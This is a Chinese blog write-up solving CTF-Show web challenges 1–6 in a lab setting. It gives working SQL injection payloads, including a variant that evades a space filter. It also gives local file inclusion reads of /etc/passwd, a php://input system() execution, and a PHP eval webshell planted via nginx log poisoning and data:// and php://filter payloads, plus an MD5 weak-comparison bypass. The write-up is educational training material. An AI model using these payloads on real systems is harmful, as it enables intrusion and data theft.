CTF-Show-Web(1-6)

张伟文的博客 / 2024-01-22 / 原文

write-up:

web-1:

题目描述:web签到题

解题方法:打开靶机得到一个写着:wher is flag? 的页面:

先查看一下它的源码:

得到一串类似base64的编码,然后把它放进base64里面进行解码一下得到我们的flag:

ctfshow{c3a5c6fd-4bc3-45b5-ad68-afd54e4b99d6}

web-2:

题目描述:最简单的SQL注入

解题方法:打开靶机得到一个简单的登陆界面:

根据题目描述是一个简单的SQL注入,所以我们先来判断一下它的注入点:

输入以下payload,使SQL恒成立

1' or 1=1#

页面回显正常,并且登陆成功得到我们的用户名

我们再输入一下payload,使SQL不成立:

1' or 1=2#

这里我们就没有得到任何回显

通过上面的测试,我们可以知道该登陆界面存在SQL注入漏洞,而且还是单引号的字符型注入,由于页面中有显示位,所以这里我们可以用联合注入

第一步先来爆出它的字段数:

1' or 1=1 order by 1#   //有回显
1' or 1=1 order by 2#   //有回显
1' or 1=1 order by 3#   //有回显
1' or 1=1 order by 4#   //无回显

这里说明里面的字段数只有3位

第二步我们先来判断它的显示位:

1' or 1=1 union select 1,2,3#

这里我们得到三个列名中第2个会显示出来

第三步我们开始爆数据库名:

1' or 1=1 union select 1,database(),3#

这里我们爆出数据库名:web2

第四步我们开始爆数据库web2里面的表名:

1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

这里我们爆出两个表名:flag和user

这里我们就可以知道我们要的flag应该是在flag表中:

第五步:我们开始爆flag表中的列名:

1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#

这里回显我们得到了它的列名为:flag

第六步:我们爆出flag列名里面对应的数据:

1'or 1=1 union select 1,group_concat(flag),3 from flag#

最后我们得到我们所想要的信息flag:

ctfshow{ffd57995-ca75-44c4-9eb4-a5daa08f5aef}

web-3:

题目描述:更简单的web题

解题方法:打开靶机得到如下页面:

这里我们知道它要我们GET一个url,而且这里我们还看到include函数

我们用一下payload来测试一下:

?url=../../../../../etc/passwd

这里说明是文件包含漏洞,知道后我们就有很多中方法来解:

第一种方法:我们使用PHP://input来进行任意代码执行

我们再url参数中写入php://input伪协议来提交

?url=php://input

然后使用bp来抓包,这样我们就可以在POST请求体中输入我们需要执行的PHP代码,比如我们输入执行系统命令,来查看一下网页目录下的文件:

<?php system('ls');?>

这里我们看到目录下面有两个文件夹,一个ctf_go_go_go和index.php,一眼看就知道我们要的flag在ctf_go_go_go中

我们直接访问ctf_go_go_go文件:

得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

第二种方法:Nginx日志文件包含

我们构造以下payload,来访问日志,然后获取我们的日志文件,然后修改我们的浏览器的标识UA为自己的php一句话木马:

?url=/var/log/nginx/access.log

然后我们使用bp来抓包,在浏览器标识那里上传我们php的一句话木马:

这里我们可以看到右边,说明我们的木马传成功了,现在我们用蚁剑连连一下:

这里我们的蚁剑的url的payload是:

http://8e9d9ed9-8cd5-434a-bb75-89c3f4dfeea0.challenge.ctf.show/?url=/var/log/nginx/access.log

测试连接成功

这里我们就得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

第三种方法:data://伪协议

我们可以构造一下payload:

?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

这里的 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b 看似是一句话木马的base64的编码,但是仔细一看并不是

正常我们的一句话木马:

<?php @eval($_POST['1']);?>

base64编码是:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

但是我们上传后,发现并没有上传上去,猜测我们的>尖括号可能被过滤了,这里的+号就是我们的>尖括号就是我们的base64编码,这里我们将+号进行url编码得到%2b

所以这里我们就将url编号后的%2b替换+号,再上传上去

上传成功后页面是没有什么变化的,然后现在我们用蚁剑来连一下:

蚁剑的url的payload就是:

?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

连接成功,去到目录下面就可以找到我们的flag

得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

第四种方法:php://filter与data://协议配合

我们构造我们的payload:

?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr

这里通过filter对include的数据进行过滤处理,将内容以data://伪协议传入

data://伪协议将UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr进行base64解密后给filter

filter再进行base64解密后给include执行

UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr是php一句话木马经过两次base64编码的结果

我们上传一下:

上传成功页面是没有什么变化的

现在我们去蚁剑连一下:

蚁剑的url的payload是:

http://26bc8077-726b-4c44-b3dc-905bb073fdd2.challenge.ctf.show/?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljekoxMHBPejgr

连接成功,去目录下面找到我们的flag:

得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

web-4:

题目描述:和上一题web-3类似

解题方法:打开靶机,发现和web-3一样:

这里和web-3一样,有一个include函数,可能有文件包含漏洞,用下面payload来测试一下:

?url=../../../../etc/passwd

这里我们用web-3里面的php伪协议来试一下,发现在这里用不了

这里我们就要用日志注入的方式,来getshell

我们构造下面payload来访问日志:

?url=/var/log/nginx/access.log

然后用bp抓包,在UA浏览器标识后面写入我们的一句话木马:

右边显示我们的日志注入成功,现在用蚁剑来连一下

蚁剑的url的payload:

http://c00bc3f9-88cc-40ff-b82e-af67f8f0e0a2.challenge.ctf.show/?url=/var/log/nginx/access.log 

测试连接成功

在www文件下面找到了flag的文件

得到我们的flag:ctfshow{4a14c84d-5cef-4888-80ad-c7dd7ca7cef3}

web-5:

题目描述:无

解题方法:打开靶机,一眼看上去是php代码审计:

这里我们通过分析,发现是一个MD5的弱比较,我们先来分析一下函数的作用:

ctype_alpha是判断是否字符

is_numeric判断是否数字

现在我们就知道了v1要是字符型,v2要是数字型,最后他们的MD5值要相等就会输出flag

因为这里是MD5的弱比较,所以我们可以用科学计数法来绕过,构造我们的payload:

?v1=QNKCDZO&v2=240610708

得到我们的flag:ctfshow{227c8c4a-bdb1-43d4-be65-a7e436a3b94f}

补充:本题由于设置了ctype_alpha和is_numeric,所以无法使用数组来绕过。因为如果\(v2[]=111,那么is_numeric(\)v2)为false,!is_numeric($v2)就为真,程序就die了。

web-6:

题目描述:无

解题方法:打开靶机是一个和web-2一样的一个简单的登陆界面:

我们还是一样的用万能密码来测试一下它的注入点:

1' or 1=1#

这里得到了错误的回显,但是语句没有错误,猜测应该是过滤了什么东西,我们先试一下是否是过滤了空格

1'/**/or/**/1=1#

成功登录,说明这里是把空格给过滤了,我们用/**/来代替空格

后面的步骤就和web-2一样,只是把空格过滤了:

1'/**/or/**/1=1/**/order/**/by/**/3#     //爆字段数

1'/**/or/**/1=1/**/union/**/select/**/1,2,3#  //爆显示位

1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#  //爆数据库名web2

1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#    //爆出表名flag

1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#   //爆出列名flag

1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#  

得到flag:ctfshow{db8e11cd-a4e3-4851-bfe6-67b8e7eee951}